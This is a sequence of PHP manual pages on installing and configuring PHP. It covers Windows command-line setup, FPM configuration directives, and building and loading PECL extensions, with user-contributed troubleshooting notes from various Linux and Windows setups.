So: After installations (php.ini is correct see above ie.: extenstion = php_oci8.dll etc)

If You use anonymous access, You'll  have a builtin user to use it. Make this user local administrator, or give minimum read access to PHP folder (ie.: c:\php) and ORAHOME (ie. c:\ora92) folders.

If You use Windows Integrated authentication, give for Domain Users minimum read access to PHP folder (ie.: c:\php) and ORAHOME (ie. c:\ora92) folders.

Goog luck.
sopp_ladios at hotmail dot com 19-Aug-2004 09:35
[editor note: this should be fixed in PHP 5.1.0]

The order of the extensions listed in php.ini is causing problems... one must check that a particular extension A is enabled and above extension B if B requires A to be enabled.
The original ordering doesnt make sure that this always happens (ie, A is above B)

I came into this problem when I tried to enable the exif extension under windows. I knew mbstring is required but I kept getting errors even after I enabled both.
The problem can only be fixed by moving the mbstring line above the exif line...
Building from source
Command Line PHP on Microsoft Windows
Installation on Windows systems


Command Line PHP on Microsoft Windows

This section contains notes and hints specific to getting PHP running from the command line for Windows.

Note:

You should read the manual installation steps first!

Getting PHP to run from the command line can be performed without making any changes to Windows.

C:\PHP5\php.exe -f "C:\PHP Scripts\script.php" -- -arg1 -arg2 -arg3

But there are some easy steps that can be followed to make this simpler. Some of these steps should already have been taken, but are repeated here to be able to provide a complete step-by-step sequence.

  • Add the location of the PHP executable (php.exe, php-win.exe or php-cli.exe depending upon your PHP version and display preferences) to the PATH environment variable. Read more about how to add your PHP directory to PATH in the corresponding FAQ entry.

  • Add the .PHP extension to the PATHEXT environment variable. This can be done at the same time as amending the PATH environment variable. Follow the same steps as described in the FAQ but amend the PATHEXT environment variable rather than the PATH environment variable.

    Note:

    The position in which you place the .PHP will determine which script or program is executed when there are matching filenames. For example, placing .PHP before .BAT will cause your script to run, rather than the batch file, if there is a batch file with the same name.

  • Associate the .PHP extension with a file type. This is done by running the following command:

    assoc .php=phpfile

  • Associate the phpfile file type with the appropriate PHP executable. This is done by running the following command:

    ftype phpfile="C:\PHP5\php.exe" -f "%1" -- %~2

Following these steps will allow PHP scripts to be run from any directory without the need to type the PHP executable or the .PHP extension and all parameters will be supplied to the script for processing.

The example below details some of the registry changes that can be made manually.

Example #1 Registry changes

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.php]
@="phpfile"
"Content Type"="application/php"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile]
@="PHP Script"
"EditFlags"=dword:00000000
"BrowserFlags"=dword:00000008
"AlwaysShowExt"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\DefaultIcon]
@="C:\\PHP5\\php-win.exe,0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell]
@="Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open]
@="&Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open\command]
@="\"C:\\PHP5\\php.exe\" -f \"%1\" -- %~2"

With these changes the same command can be written as:

"C:\PHP Scripts\script" -arg1 -arg2 -arg3
or, if your "C:\PHP Scripts" path is in the PATH environment variable:
script -arg1 -arg2 -arg3

Note:

There is a small problem if you intend to use this technique and use your PHP scripts as a command line filter, like the example below:

dir | "C:\PHP Scripts\script" -arg1 -arg2 -arg3
or
dir | script -arg1 -arg2 -arg3
You may find that the script simply hangs and nothing is output. To get this operational, you need to make another registry change.
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"InheritConsoleHandles"=dword:00000001
Further information regarding this issue can be found in this » Microsoft Knowledgebase Article : 321788.

User Contributed Notes

pimroes at gmail dot com 11-Jan-2011 12:11
Make sure your run CMD.exe as an administrator, otherwise you'll get an "access denied" when you run the commands.
Installation of extensions on Windows
Installation on Cloud Computing platforms
Installation on Windows systems


Installation on Cloud Computing platforms

Table of Contents

  • Microsoft Azure
  • Amazon EC2

PHP installs on the cloud. To the PHP cloud!

User Contributed Notes

There are no user contributed notes for this page.
Command Line PHP on Microsoft Windows
Microsoft Azure
Installation and Configuration


Microsoft Azure

PHP installs on the » Azure cloud platform.

See also the » Azure SDK for PHP.

User Contributed Notes

There are no user contributed notes for this page.
Installation on Cloud Computing platforms
Amazon EC2
Installation on Cloud Computing platforms


Amazon EC2

PHP installs on the » EC2 cloud platform.

See also the » AWS SDK for PHP.

User Contributed Notes

There are no user contributed notes for this page.
Microsoft Azure
FastCGI Process Manager (FPM)
Installation on Cloud Computing platforms


FastCGI Process Manager (FPM)

Table of Contents

  • Installation
  • Configuration

FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with some additional features (mostly) useful for heavy-loaded sites.

These features include:

  • advanced process management with graceful stop/start;

  • ability to start workers with different uid/gid/chroot/environment, listening on different ports and using different php.ini (replaces safe_mode);

  • stdout and stderr logging;

  • emergency restart in case of accidental opcode cache destruction;

  • accelerated upload support;

  • "slowlog" - logging scripts (not just their names, but their PHP backtraces too, using ptrace and similar things to read remote process' execute_data) that are executed unusually slow;

  • fastcgi_finish_request() - special function to finish request and flush all data while continuing to do something time-consuming (video converting, stats processing etc.);

  • dynamic/static child spawning;

  • basic SAPI status info (similar to Apache mod_status);

  • php.ini-based config file.

User Contributed Notes

joel k 30-Jun-2011 12:56
the fpm process supports the USER2 signal, which is used to reload the config file.

kill -USR2 [pid]

should do the trick.
robin at robinwinslow dot co dot uk 12-Dec-2010 10:05
Init script setup
===

You will probably want to create an init script for your new php-fpm. Fortunately, PHP 5.3.3 provides one for you, which you should copy to your init directory and change permissions:

$ cp <php-5.3.3-source-dir>/sapi/fpm/init.d.php-fpm.in /etc/init.d/php-fpm
$ chmod 755 /etc/init.d/php-fpm

It requires a certain amount of setup. First of all, make sure your php-fpm.conf file is set up to  create a PID file when php-fpm starts. E.g.:
----
pid = /var/run/php-fpm.pid
----
(also make sure your php-fpm user has permission to create this file).

Now open up your new init script (/etc/init.d/php-fpm) and set the variables at the top to their relevant values. E.g.:
---
prefix=
exec_prefix=
php_fpm_BIN=/sbin/php-fpm
php_fpm_CONF=/etc/php-fpm.conf
php_fpm_PID=/var/run/php-fpm.pid
---

Your init script is now ready. You should now be able to start, stop and reload php-fpm:

$ /etc/init.d/php-fpm start
$ /etc/init.d/php-fpm stop
$ /etc/init.d/php-fpm reload

The one remaining thing you may wish to do is to add your new php-fpm init script to system start-up. E.g. in CentOS:

$ /sbin/chkconfig php-fpm on

===========

Disclaimer: Although I did just do this on my own server about 20 mins ago, everything I've written here is off the top of my head, so it may not be 100% correct. Also, allow for differences in system setup. Some understanding of what you are doing is assumed.
Amazon EC2
Installation
Installation and Configuration


Installation

Compiling from sources

In order to enable FPM in your PHP build you need to add --enable-fpm to your configure line.

There are several other FPM-specific configure options (all of them optional):

  • --with-fpm-user - set FPM user (default - nobody).

  • --with-fpm-group - set FPM group (default - nobody).

User Contributed Notes

juangiordana at gmail dot com 09-Jan-2011 04:04
Notice that the libevent requeriment has been dropped since php-5.3.4.

http://bugs.php.net/52501
http://bugs.php.net/53691
snakylove at gmail dot com 22-Oct-2010 01:48
For Ubuntu 10.04 Lucid there is a backported ppa :

https://launchpad.net/~brianmercer/+archive/testing
php at gigfa dot com 13-Aug-2010 10:27
An init startup script file can be found at :
./php-5.3.3/sapi/fpm/init.d.php-fpm
after successful compilation.
FastCGI Process Manager (FPM)
Configuration
FastCGI Process Manager (FPM)


Configuration

FPM uses php.ini syntax for its configuration file - php-fpm.conf.

List of global php-fpm.conf directives

pid string

Path to PID file. Default value: none.

error_log string

Path to error log file. Default value: #INSTALL_PREFIX#/log/php-fpm.log.

log_level string

Error log level. Possible values: alert, error, warning, notice, debug. Default value: notice.

emergency_restart_threshold int

If this number of child processes exit with SIGSEGV or SIGBUS within the time interval set by emergency_restart_interval then FPM will restart. A value of 0 means 'Off'. Default value: 0 (Off).

emergency_restart_interval mixed

Interval of time used by emergency_restart_interval to determine when a graceful restart will be initiated. This can be useful to work around accidental corruptions in an accelerator's shared memory. Available Units: s(econds), m(inutes), h(ours), or d(ays). Default Unit: seconds. Default value: 0 (Off).

process_control_timeout mixed

Time limit for child processes to wait for a reaction on signals from master. Available units: s(econds), m(inutes), h(ours), or d(ays) Default Unit: seconds. Default value: 0.

daemonize boolean

Send FPM to background. Set to 'no' to keep FPM in foreground for debugging. Default value: yes.

List of pool directives

With FPM you can run several pools of processes with different setting. These are settings that can be tweaked per pool.

listen string

The address on which to accept FastCGI requests. Valid syntaxes are: 'ip.add.re.ss:port', 'port', '/path/to/unix/socket'. This option is mandatory for each pool.

listen.backlog int

Set listen(2) backlog. A value of '-1' means unlimited. Default value: -1.

listen.allowed_clients string

List of ipv4 addresses of FastCGI clients which are allowed to connect. Equivalent to the FCGI_WEB_SERVER_ADDRS environment variable in the original PHP FastCGI (5.2.2+). Makes sense only with a tcp listening socket. Each address must be separated by a comma. If this value is left blank, connections will be accepted from any ip address. Default value: any.

listen.owner string

Set permissions for unix socket, if one is used. In Linux, read/write permissions must be set in order to allow connections from a web server. Many BSD-derived systems allow connections regardless of permissions. Default values: user and group are set as the running user, mode is set to 0666.

listen.group string

See listen.owner.

listen.mode string

See listen.owner.

user string

Unix user of FPM processes. This option is mandatory.

group string

Unix group of FPM processes. If not set, the default user's group is used.

pm string

Choose how the process manager will control the number of child processes. Possible values: static, dynamic. This option is mandatory.

static - the number of child processes is fixed (pm.max_children).

dynamic - the number of child processes is set dynamically based on the following directives: pm.max_children, pm.start_servers, pm.min_spare_servers, pm.max_spare_servers.

pm.max_children int

The number of child processes to be created when pm is set to static and the maximum number of child processes to be created when pm is set to dynamic. This option is mandatory.

This option sets the limit on the number of simultaneous requests that will be served. Equivalent to the ApacheMaxClients directive with mpm_prefork and to the PHP_FCGI_CHILDREN environment variable in the original PHP FastCGI.

pm.start_servers in

The number of child processes created on startup. Used only when pm is set to dynamic. Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2.

pm.min_spare_servers int

The desired minimum number of idle server processes. Used only when pm is set to dynamic. Also mandatory in this case.

pm.max_spare_servers int

The desired maximum number of idle server processes. Used only when pm is set to dynamic. Also mandatory in this case.

pm.max_requests int

The number of requests each child process should execute before respawning. This can be useful to work around memory leaks in 3rd party libraries. For endless request processing specify '0'. Equivalent to PHP_FCGI_MAX_REQUESTS. Default value: 0.

pm.status_path string

The URI to view the FPM status page. If this value is not set, no URI will be recognized as a status page. Default value: none.

ping.path string

The ping URI to call the monitoring page of FPM. If this value is not set, no URI will be recognized as a ping page. This could be used to test from outside that FPM is alive and responding. Please note that the value must start with a leading slash (/).

ping.response string

This directive may be used to customize the response to a ping request. The response is formatted as text/plain with a 200 response code. Default value: pong.

request_terminate_timeout mixed

The timeout for serving a single request after which the worker process will be killed. This option should be used when the 'max_execution_time' ini option does not stop script execution for some reason. A value of '0' means 'Off'. Available units: s(econds)(default), m(inutes), h(ours), or d(ays). Default value: 0.

request_slowlog_timeout mixed

The timeout for serving a single request after which a PHP backtrace will be dumped to the 'slowlog' file. A value of '0' means 'Off'. Available units: s(econds)(default), m(inutes), h(ours), or d(ays). Default value: 0.

slowlog string

The log file for slow requests. Default value: #INSTALL_PREFIX#/log/php-fpm.log.slow.

rlimit_files int

Set open file descriptor rlimit. Default value: system defined value.

rlimit_core int

Set max core size rlimit. Possible Values: 'unlimited' or an integer greater or equal to 0. Default value: system defined value.

chroot string

Chroot to this directory at the start. This value must be defined as an absolute path. When this value is not set, chroot is not used.

chdir string

Chdir to this directory at the start. This value must be an absolute path. Default value: current directory or / when chroot.

catch_workers_output boolean

Redirect worker stdout and stderr into main error log. If not set, stdout and stderr will be redirected to /dev/null according to FastCGI specs. Default value: no.

It's possible to pass additional environment variables and update PHP settings of a ceratian pool. To do this, you need to add the following options to php-fpm.conf

Example #1 Passing environment variables and PHP settings to a pool

env[HOSTNAME] = $HOSTNAME
       env[PATH] = /usr/local/bin:/usr/bin:/bin
       env[TMP] = /tmp
       env[TMPDIR] = /tmp
       env[TEMP] = /tmp

       php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com
       php_flag[display_errors] = off
       php_admin_value[error_log] = /var/log/fpm-php.www.log
       php_admin_flag[log_errors] = on
       php_admin_value[memory_limit] = 32M
PHP settings passed with php_value or php_flag will overwrite their previous value. Please note that defining disable_functions or disable_classes will not overwrite previously defined php.ini values, but will append the new value instead.

Settings defined with php_admin_value and php_admin_flag cannot be overriden with ini_set().

User Contributed Notes

Frank DENIS 29-May-2011 11:23
The default value for listen.backlog isn't exactly "unlimited".

It's 128 on some operating systems, and -1 (which doesn't mean "unlimited" as well, but is an alias to a hard limit) on other systems.

Check for a sysctl value like kern.somaxconn (OpenBSD) or net.core.somaxconn (Linux).

Crank it up if you need more PHP workers than the default value. Then adjust listen.backlog in your php-fpm configuration file to the same value.

-Frank.
Installation
Installation of PECL extensions
FastCGI Process Manager (FPM)


Installation of PECL extensions

Table of Contents

  • Introduction to PECL Installations
  • Downloading PECL extensions
  • Installing a PHP extension on Windows
  • Compiling shared PECL extensions with the pecl command
  • Compiling shared PECL extensions with phpize
  • php-config
  • Compiling PECL extensions statically into PHP

User Contributed Notes

ignatius dot teo at gmail dot com 08-Nov-2011 02:56
On CentOS/RHEL (+cPanel) installations, if you get a "checking whether the C compiler works... configure: error: cannot run C compiled programs", you may need to remount the /tmp and /var/tmp with exec permissions first:

$ mount -o remount,exec,suid /tmp
$ mount -o remount,exec,suid /var/tmp

Then:
$ pecl install {package}

And, don't forget to remount them as noexec after.
kis at grosshat dot com 04-Jun-2008 01:52
If it's not running for you even PEAR installed try to make an upgrade of PEAR (pear upgrade PEAR).
rbemrose at gmail dot com 16-Mar-2007 10:04
If you are using a Debian sarge system (currently the stable release) with php4-pear installed, you will still not have a pecl command.

The fix to this is to upgrade pear.

Unfortunately, pear upgrade PEAR will also error out stating that you need pear-1.3.3 minimum.

The fix to this is to specify the version of pear that you want to install.  In case it wasn't obvious, that means you want to
pear upgrade PEAR-1.3.3
pear upgrade-all
Configuration
Introduction to PECL Installations
Installation and Configuration


Introduction to PECL Installations

» PECL is a repository of PHP extensions that are made available to you via the » PEAR packaging system. This section of the manual is intended to demonstrate how to obtain and install PECL extensions.

These instructions assume /your/phpsrcdir/ is the path to the PHP source distribution, and that extname is the name of the PECL extension. Adjust accordingly. These instructions also assume a familiarity with the » pear command. The information in the PEAR manual for the pear command also applies to the pecl command.

To be useful, a shared extension must be built, installed, and loaded. The methods described below provide you with various instructions on how to build and install the extensions, but they do not automatically load them. Extensions can be loaded by adding an extension directive. To this php.ini file, or through the use of the dl() function.

When building PHP modules, it's important to have known-good versions of the required tools (autoconf, automake, libtool, etc.) See the » Anonymous SVN Instructions for details on the required tools, and required versions.

User Contributed Notes

Kylian 06-May-2010 02:11
Installing php5-pear is not enough to have the "pecl" command available (on Linux Suse almost).

In addition I had to install the php5-devel package in order to make it working.
mjs at beebo dot org 02-Feb-2009 08:16
If you are looking for the "pecl" executable (it should be installed in the same directory as your "php" binary), you may need to re-configure and compile PHP without the --without-pear option.  (--without-pear disables pecl as well as pear, though this doesn't appear to be documented anywhere, not even in the configure script...)

If the "pear command" link results in a 404, try:

http://pear.php.net/manual/en/guide.users.commandline.cli.php
Installation of PECL extensions
Downloading PECL extensions
Installation of PECL extensions


Downloading PECL extensions

There are several options for downloading PECL extensions, such as:

  • The pecl install extname command downloads the extensions code automatically, so in this case there is no need for a separate download.
  • » http://pecl.php.net/ The PECL web site contains information about the different extensions that are offered by the PHP Development Team. The information available here includes: ChangeLog, release notes, requirements and other similar details.
  • pecl download extname PECL extensions that have releases listed on the PECL web site are available for download and installation using the » pecl command. Specific revisions may also be specified.
  • SVN Most PECL extensions also reside in SVN. A web-based view may be seen at » http://svn.php.net/viewvc/pecl/. To download straight from SVN, the following sequence of commands may be used:

    $ svn checkout http://svn.php.net/repository/pecl/extname/trunk extname

  • Windows downloads At this time the PHP project does not compile Windows binaries for PECL extensions. However, to compile PHP under Windows see the chapter titled building PHP for Windows.

User Contributed Notes

mleer at clingendael dot nl 18-Sep-2009 04:11
If you get "pear.php.net is using a unsupported protocal" [sic!] do:
cd /usr/local/lib/php
rm -r .channels
pear update-channels
cweiske at php dot net 03-May-2009 03:58
When using "pecl install package", you might run into a memory limit problem. Solution is to use "pear install pecl/$extensionname" since it uses php.ini's memory limit.

See also:
- http://pear.php.net/bugs/bug.php?id=15107
- http://aspn.activestate.com/ASPN/Mail/Message/pear-dev/3168978
Introduction to PECL Installations
Installing a PHP extension on Windows
Installation of PECL extensions


Installing a PHP extension on Windows

On Windows, you have two ways to load a PHP extension: either compile it into PHP, or load the DLL. Loading a pre-compiled extension is the easiest and preferred way.

To load an extension, you need to have it available as a ".dll" file on your system. All the extensions are automatically and periodically compiled by the PHP Group (see next section for the download).

To compile an extension into PHP, please refer to building from source documentation.

To compile a standalone extension (aka a DLL file), please refer to building from source documentation. If the DLL file is available neither with your PHP distribution nor in PECL, you may have to compile it before you can start using the extension.

Where to find an extension?

PHP extensions are usually called "php_*.dll" (where the star represents the name of the extension) and they are located under the "PHP\ext" ("PHP\extensions" in PHP 4) folder.

PHP ships with the extensions most useful to the majority of developers. They are called "core" extensions.

However, if you need functionality not provided by any core extension, you may still be able to find one in PECL. The PHP Extension Community Library (PECL) is a repository for PHP Extensions, providing a directory of all known extensions and hosting facilities for downloading and development of PHP extensions.

If you have developed an extension for your own uses, you might want to think about hosting it on PECL so that others with the same needs can benefit from your time. A nice side effect is that you give them a good chance to give you feedback, (hopefully) thanks, bug reports and even fixes/patches. Before you submit your extension for hosting on PECL, please read http://pecl.php.net/package-new.php.

Which extension to download?

Many times, you will find several versions of each DLL:

  • Different version numbers (at least the first two numbers should match)
  • Different thread safety settings
  • Different processor architecture (x86, x64, ...)
  • Different debugging settings
  • etc.

You should keep in mind that your extension settings should match all the settings of the PHP executable you are using. The following PHP script will tell you all about your PHP settings:

Example #1 phpinfo() call

<?php
phpinfo();
?>

Or from the command line, run:

drive:\\path\to\php\executable\php.exe -i

Loading an extension

The most common way to load a PHP extension is to include it in your php.ini configuration file. Please note that many extensions are already present in your php.ini and that you only need to remove the semicolon to activate them.

;extension=php_extname.dll

extension=php_extname.dll

However, some web servers are confusing because they do not use the php.ini located alongside your PHP executable. To find out where your actual php.ini resides, look for its path in phpinfo():

Configuration File (php.ini) Path  C:\WINDOWS

Loaded Configuration File   C:\Program Files\PHP\5.2\php.ini

After activating an extension, save php.ini, restart the web server and check phpinfo() again. The new extension should now have its own section.

Resolving problems

If the extension does not appear in phpinfo(), you should check your logs to learn where the problem comes from.

If you are using PHP from the command line (CLI), the extension loading error can be read directly on screen.

If you are using PHP with a web server, the location and format of the logs vary depending on your software. Please read your web server documentation to locate the logs, as it does not have anything to do with PHP itself.

Common problems are the location of the DLL, the value of the " extension_dir" setting inside php.ini and compile-time setting mismatches.

If the problem lies in a compile-time setting mismatch, you probably didn't download the right DLL. Try downloading again the extension with the right settings. Again, phpinfo() can be of great help.

User Contributed Notes

biel325 at gmail dot com 30-Dec-2010 05:57
To create a dll extension to
PHP follow this instructions:
http://blog.slickedit.com/2007/09/creating-a-php-5-extension-with-visual-c-2005/

*****IMPORTANT
1)You MUST use the last release of PHP source code, or people will not me able to use your extension. Don't worry to use only the version of the tutorial.
2) The folder "regex" exists in PHP 5.3, just find it in the subfolders.
3)While building your dll in Visual Studio, if you have any problem compiling or linking like: "winsock2.h is missing", find the files on your computer and include the project in the same way that the tutorial taught.
chris 11-Nov-2008 09:33
In response to soazine:

I've found, using wampserver, that the only configuration file that needs to be edited is the one listed under "Loaded Configuration File" given by phpinfo(). Those for whom this doesn't work should refer to soazine's steps.
stuart at kaihatsu dot co dot uk 07-Feb-2008 02:22
This is the only way to get PECL extensions - using the command line installer (similar to the PEAR installer) does not work on Windows...

This does not look like its going to be fixed any time soon...

Also, you should look at http://pecl4win.php.net/ for Windows PECL extensions.
soazine at erols dot com 30-Jul-2007 06:16
When using PHP 5.2.0 within WinXP via Wampserver ( http://www.en.wampserver.com/download.php ) you will find that just simply adding a PECL-based DLL file into php.ini is not enough.  Steps you will have to do to ensure that your PECL extension(s) will be recognized are as follows:

1) Have the DLL referenced within PHP's php.ini ("extension=[php_name-of-PECL-extension].dll")
2) Have the DLL referenced within Windows' php.ini
3) Have the DLL within wampserver.ini

If any of these steps are not included, alongside the obvious web services restart, then PECL is not recognized.
Downloading PECL extensions
Compiling shared PECL extensions with the pecl command
Installation of PECL extensions


Compiling shared PECL extensions with the pecl command

PECL makes it easy to create shared PHP extensions. Using the » pecl command, do the following:

$ pecl install extname

This will download the source for extname, compile, and install extname.so into your extension_dir. extname.so may then be loaded via php.ini

By default, the pecl command will not install packages that are marked with the alpha or beta state. If no stable packages are available, you may install a beta package using the following command:

$ pecl install extname-beta

You may also install a specific version using this variant:

$ pecl install extname-0.1

Note:

After enabling the extension in php.ini, restarting the web service is required for the changes to be picked up.

User Contributed Notes

ktcox at mail dot com 06-Apr-2011 05:22
The Arch Linux package that contains PECL is 'php-pear'

# pacman -S php-pear
zir dot echo at gmail dot com 03-Jun-2008 11:43
Install pecl for gentoo:

emerge dev-php/PEAR-PEAR
pedro dot fonini at gmail dot com 30-Mar-2008 05:27
to use the pecl, pear, or phpize commands in fedora, install the php-devel package:
$ yum install php-devel
Installing a PHP extension on Windows
Compiling shared PECL extensions with phpize
Installation of PECL extensions


Compiling shared PECL extensions with phpize

Sometimes, using the pecl installer is not an option. This could be because you're behind a firewall, or it could be because the extension you want to install is not available as a PECL compatible package, such as unreleased extensions from SVN. If you need to build such an extension, you can use the lower-level build tools to perform the build manually.

The phpize command is used to prepare the build environment for a PHP extension. In the following sample, the sources for an extension are in a directory named extname:

$ cd extname
$ phpize
$ ./configure
$ make
# make install

A successful install will have created extname.so and put it into the PHP extensions directory. You'll need to and adjust php.ini and add an extension=extname.so line before you can use the extension.

If the system is missing the phpize command, and precompiled packages (like RPM's) are used, be sure to also install the appropriate devel version of the PHP package as they often include the phpize command along with the appropriate header files to build PHP and its extensions.

Execute phpize --help to display additional usage information.

User Contributed Notes

jplahti 28-Aug-2008 11:48
Minimizing harm on upgrading extensions on busy server.

I upgraded (phpize,make... way) APC-extension on quite busy server and found out that Apache segfaults if i just restart it gracefully with the new extension in place. I found a way around this, so that the users of the server only see small slow down of the services.

1. Comment out extension loading (old extension) in php.ini (or separate .ini-file).

2. Restart Apache gracefully (now system runs without extension).

3. Replace old extension with new version (can be done already before first restart) and edit .ini again to include extension.

4. Restart Apache gracefully again (new extension loads).

Of course this only works for extensions which your php-application can live without for a short period of time. ;-)
Brian 01-May-2008 11:39
If you have multiple PHP versions installed, you may be able to specify for which installation you'd like to build by using the --with-php-config option during configuration.

--with-php-config=[Insert path to proper php-config here]

For example (my case):
./configure --with-php-config=/usr/local/php5/bin/php-config5
Glen 17-May-2007 04:07
When you have multiple installations of PHP, running phpize from a specific installation will not force the module to be compiled with that installation's include files.

In my case, I had a standard PHP distribution installed, and am evaluating Zend Core / Zend Platform, which installed it's own Apache & PHP in a /usr/local/Zend/.. install path.  It was missing the json.so module, so I had to compile my own.

Running Zend Core's phpize, the output indicates that configuration for that module will occur.  But when running ./configure, the standard installation's include files are used.  The result json.so being compiled against the wrong PHP would not load when Zend Core's php initializes.

The only way I could see to correct the situation was to temporarily change the standard PHP include path to point to the Zend Core's include files.  In my case, I made a backup copy of /usr/include/php5 and did a "ln -s /usr/local/Zend/Core/include/php/ /usr/include/php5".
dmytton at php dot net 03-Dec-2005 11:45
In some situations (e.g. on a cPanel server), the built extension will not be placed into the correct extensions directory by the make install process. Use your phpinfo() output to determine what the correct extension_dir path is and move the generated .so file into that directory. The extension=extname.so line in php.ini will then find the extension file correctly.
Compiling shared PECL extensions with the pecl command
php-config
Installation of PECL extensions


php-config

php-config is a simple shell script for obtaining information about the installed PHP configuration.

When compiling extensions, if you have multiple PHP versions installed, you may specify for which installation you'd like to build by using the --with-php-config option during configuration, specifying the path of the respective php-config script.

The list of command line options provided by the php-config script can be queried anytime by running php-config with the -h switch:

Usage: /usr/local/bin/php-config [OPTION]
Options:
  --prefix            [...]
  --includes          [...]
  --ldflags           [...]
  --libs              [...]
  --extension-dir     [...]
  --include-dir       [...]
  --php-binary        [...]
  --php-sapis         [...]
  --configure-options [...]
  --version           [...]
  --vernum            [...]

Command line options
Option | Description
--prefix | Directory prefix where PHP is installed, e.g. /usr/local
--includes | List of -I options with all include files
--ldflags | LD Flags which PHP was compiled with
--libs | Extra libraries which PHP was compiled with
--extension-dir | Directory where extensions are searched by default
--include-dir | Directory prefix where header files are installed by default
--php-binary | Full path to php CLI or CGI binary
--php-sapis | Show all SAPI modules available
--configure-options | Configure options to recreate configuration of current PHP installation
--version | PHP version
--vernum | PHP version as integer

User Contributed Notes

There are no user contributed notes for this page.
Compiling shared PECL extensions with phpize
Compiling PECL extensions statically into PHP
Installation of PECL extensions


Compiling PECL extensions statically into PHP

You might find that you need to build a PECL extension statically into your PHP binary. To do this, you'll need to place the extension source under the php-src/ext/ directory and tell the PHP build system to regenerate its configure script.

$ cd /your/phpsrcdir/ext
$ pecl download extname
$ gzip -d < extname.tgz | tar -xvf -
$ mv extname-x.x.x extname

This will result in the following directory:

/your/phpsrcdir/ext/extname

From here, force PHP to rebuild the configure script, and then build PHP as normal:

$ cd /your/phpsrcdir
$ rm configure
$ ./buildconf --force
$ ./configure --help
$ ./configure --with-extname --enable-someotherext --with-foobar
$ make
$ make install

Note: To run the 'buildconf' script you need autoconf 2.13 and automake 1.4+ (newer versions of autoconf may work, but are not supported).

Whether --enable-extname or --with-extname is used depends on the extension. Typically an extension that does not require external libraries uses --enable. To be sure, run the following after buildconf:

$ ./configure --help | grep extname

User Contributed Notes

denis_truffaut a t hotmail d o t com 07-Jan-2012 05:55
A tip that could save your time : Don't forget to erase the cache beforce forcing buildconf...

sudo rm -f configure autom4te.cache
sudo ./buildconf --force
php-config
Problems?
Installation of PECL extensions


Problems?

Table of Contents

  • Read the FAQ
  • Other problems
  • Bug reports

User Contributed Notes

hvozda at ack dot org 30-Oct-2006 03:49
When using --with-gd, jpeg support is *not* enabled by default even if the libs and headers are in /usr/lib and /usr/include.  Yet, if they are missing, GD will not build.

Oddly, examine the output from configure will show that libjpeg was actuly found and tested.

This happens with v4.4.4 of php on these platforms: RHEL v2.1, RHEL v3, CentOS v2.1 or CentOS v4.3.

On those platforms, it's *important* that --with-jpeg-dir be *before* --with-gd.  If it's not, GD won't build with jpeg support as if --with-jpeg-dir had never been specified.

It's also a "feechure" that gd_info() doesn't list jpeg support if it wasn't built with it.  However, if it is built with it, it will list it as "enabled" of course :-/
Compiling PECL extensions statically into PHP
Read the FAQ
Installation and Configuration


Read the FAQ

Some problems are more common than others. The most common ones are listed in the PHP FAQ, part of this manual.

User Contributed Notes

There are no user contributed notes for this page.
Problems?
Other problems
Problems?


Other problems

If you are still stuck, someone on the PHP installation mailing list may be able to help you. You should check out the archive first, in case someone already answered someone else who had the same problem as you. The archives are available from the support page on » http://www.php.net/support.php. To subscribe to the PHP installation mailing list, send an empty mail to » php-install-subscribe@lists.php.net. The mailing list address is » php-install@lists.php.net.

If you want to get help on the mailing list, please try to be precise and give the necessary details about your environment (which operating system, what PHP version, what web server, if you are running PHP as CGI or a server module, safe mode, etc.), and preferably enough code to make others able to reproduce and test your problem.

User Contributed Notes

There are no user contributed notes for this page.
Read the FAQ
Bug reports
Problems?


Bug reports

If you think you have found a bug in PHP, please report it. The PHP developers probably don't know about it, and unless you report it, chances are it won't be fixed. You can report bugs using the bug-tracking system at » http://bugs.php.net/. Please do not send bug reports in mailing list or personal letters. The bug system is also suitable to submit feature requests.

Read the » How to report a bug document before submitting any bug reports!

User Contributed Notes

There are no user contributed notes for this page.
Other problems
Runtime Configuration
Problems?


Runtime Configuration

Table of Contents

  • The configuration file
  • .user.ini files
  • Where a configuration setting may be set
  • How to change configuration settings

User Contributed Notes

salivatears at gmail dot com 30-Nov-2010 07:18
For windows with limited file permission (Windows XP)

1. Install Apache in your folder profile "C:\Documents and Settings\your_profile"

2. Add the following directives to you httpd.conf
PHPINIDir "C:\Documents and Settings\your_profile\php"

LoadModule php5_module "C:\Documents and Settings\your_profile\php\php5apache2_2.dll"

AddType application/x-httpd-php .php

3. Edit the following directive to you php.ini
extension_dir = "C:\Documents and Settings\your_profile\php\ext"

4. Move the file libmysql.dll from C:\Documents and Settings\your_profile\php\ to C:\Documents and Settings\your_profile\php\ext\

5. Restart httpd using command line
marc_zampetti at timeinc dot com 19-Mar-2010 12:06
As of PHP 5.3.x (the only versions I have tested this with) on Linux and Apache 2.2 using module, this is what you need to do in order to completely isolate the PHP configuration.

For OS Environment in which Apache is started:
PHP_INI_SCAN_DIR=/path/to/dir/with/additional_ini_files
export PHP_INI_SCAN_DIR

For the Apache Module Config (i.e. httpd.conf):

## The path to the dir that contains php.ini (not the path to the file)
PHPINIDir /path/to/dir/with/php_ini_file

LoadModule php5_module /path/to/php5module.so

<FilesMatch "\.php$">
  SetHandler application/x-httpd-php
</FilesMatch>

PHPINIDir (note not PHPIniDir as has been previously reported) tells the module what dir to look for php.ini. You can confirm this by looking at the output of phpinfo() for the "Configuration File (php.ini) Path".
The PHP_INI_SCAN_DIR OS env setting specifies where the other PHP ini files should be loadeded from. This ONLY works if set before Apache is started. You can confirm with the "Scan this dir for additional .ini files" item in the phpinfo() output.

Setting these two settings will allow you to have your PHP config completely isolated to the apache instance, and thus multiple instances of apache on the same host can have completely different PHP configs.
georgeATdlouhyDOTinfo 23-Oct-2008 10:10
PHP 5.2.6 & Apache 2.2
----------------------
If you tried everything above and you server is not executing php script, look in php.ini at value:

short_open_tag = Off
;it does not recognise '<?', only '<? php' or '<script>'

